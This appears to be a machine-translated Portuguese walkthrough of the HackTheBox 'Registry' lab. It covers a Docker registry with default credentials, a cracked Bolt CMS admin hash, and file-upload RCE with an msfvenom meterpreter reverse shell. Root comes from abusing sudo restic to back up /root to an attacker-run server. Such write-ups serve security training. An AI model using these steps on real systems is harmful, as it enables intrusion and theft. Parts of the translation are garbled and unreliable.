Corte a caixa. Registro de passagem. Docker, RCE no CMS Bolt e Restic

imagem

Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, abordaremos o registro do docker, executaremos o RCE no CMS Bolt e aumentaremos os privilégios usando o programa de backup Restic.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina possui um endereço IP 10.10.10.159, que eu adiciono ao / etc / hosts.

10.10.10.159    registry.htb

Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

imagem

Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.

nmap -A registry.htb -p22,80,443

imagem

O host tem 3 portas abertas, enquanto o certificado (porta 443) é para docker.registry.htb. Adicione-o ao / etc / hosts também.

10.10.10.159    docker.registry.htb

Quando você passa para o registry.htb, somos recebidos pelo prompt nginx e, para o docker.registry.htb, vemos uma página em branco.

Vamos iterar nos diretórios usando o gobuster. Nos parâmetros, indicamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

imagem

O Backup.php não nos fornece nada. Por exemplo, existe um site com o CMS Bolt e, na instalação, há algum arquivo, faça o download.

wget http://registry.htb/install/ -O ind

E descobrimos que tipo de arquivo é esse.

imagem

Podemos ler “dados compactados com gzip” imediatamente.

imagem

Dessa forma, obtemos o certificado e os links para a documentação de referência da janela de encaixe.
No caso de outro domínio, adicione a opção -k para ignorar a verificação do certificado.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

imagem

Agora vamos para o diretório v2 e somos atendidos pela autenticação.

imagem

E a combinação mais simples admin: admin nos dá acesso. O host executa o docker regisrty; portanto, como segue a seguir, vamos examinar seus repositórios no seguinte endereço: docker.registry.htb / v2 / _catalog .

imagem

E encontramos um repositório.

imagem

Vamos instalar a janela de encaixe e passar para a documentação de instalação do certificado.

imagem

Vá para o diretório / etc / docker e adicione o certificado do arquivo morto.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

imagem

Agora faça login na janela de encaixe.

imagem

Agora carregue a imagem.

sudo docker pull docker.registry.htb:443/bolt-image:latest

imagem

E corra.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

E a primeira coisa que olhamos é o SSH. Felizmente, existe uma chave, bem como uma configuração, a partir da qual fica claro que nosso usuário é um parafuso.

imagem

Mas o problema é que a chave está criptografada. Isso significa que, quando conectados, eles solicitarão uma senha. O resultado é uma pesquisa nos arquivos pela string "pass".

grep -i -r "pass" ./etc/

imagem

Este script solicita uma senha para descriptografar a chave. E a resposta é dada nela.

imagem

Conecte-se via ssh com a nossa chave.

imagem

Havia um arquivo backup.php no host, vamos dar uma olhada no que há nele.

imagem

É assim que o sudo é usado, e aparentemente sem senha. Mas parafuso requer uma senha.

imagem

Isso significa que precisamos obter o usuário do serviço. Como o CMS Bolt é usado, podemos acessar o banco de dados sqlite. Baixe.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Vamos começar a trabalhar com o banco de dados.

sqlite3 bolt.db

Vamos ver as mesas.

imagem

E obtenha as entradas da tabela bolt_users.

imagem

Portanto, temos um hash de administrador. Faça uma iteração usando o JTR.

imagem

Agora faça login no Bolt como administrador. E observamos a versão 3.6.4.

imagem

Existem explorações para esta versão.

imagem

A vulnerabilidade é que podemos adicionar à configuração a extensão do arquivo que precisamos baixar e fazer o upload do arquivo. Vamos criar um arquivo php com uma carga (eu digo antecipadamente que ele simplesmente não funcionou para se conectar novamente, para que a porta 4321 fosse encaminhada :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

E execute o ouvinte.

imagem

Vamos passar por Configuração -> Configuração principal e adicionar a extensão php para poder baixar o arquivo.

imagem

Em seguida, vá para Gerenciamento de arquivos -> Carregar arquivos e adicione o arquivo. Depois de acessá-lo, veremos a conexão.

imagem

Inicie o shell bash, também observamos que estamos trabalhando em nome do usuário do serviço.

imagem

Vamos verificar o sudo, observe que o comando do backup.php pode ser executado no sudo sem uma senha.

imagem

Restic é um programa de backup escrito em Golang. Como podemos fazer um backup no sudo, podemos copiar todo o diretório raiz. Primeiro, vamos passar pela porta 8000.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Instale e execute o restante do servidor (na postagem 8000 sem autenticação).

imagem

Vamos conectar e inicializar o backup (restr1).

imagem

Agora faça backup do diretório raiz.

imagem

O backup foi salvo na máquina local. Vamos ver todos os arquivos salvos. Encontre a chave SSH.

restic -r /tmp/restic/restr1/ ls latest

imagem

Restaure.

imagem

Conectar

imagem

Temos acesso total ao sistema.

Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

All Articles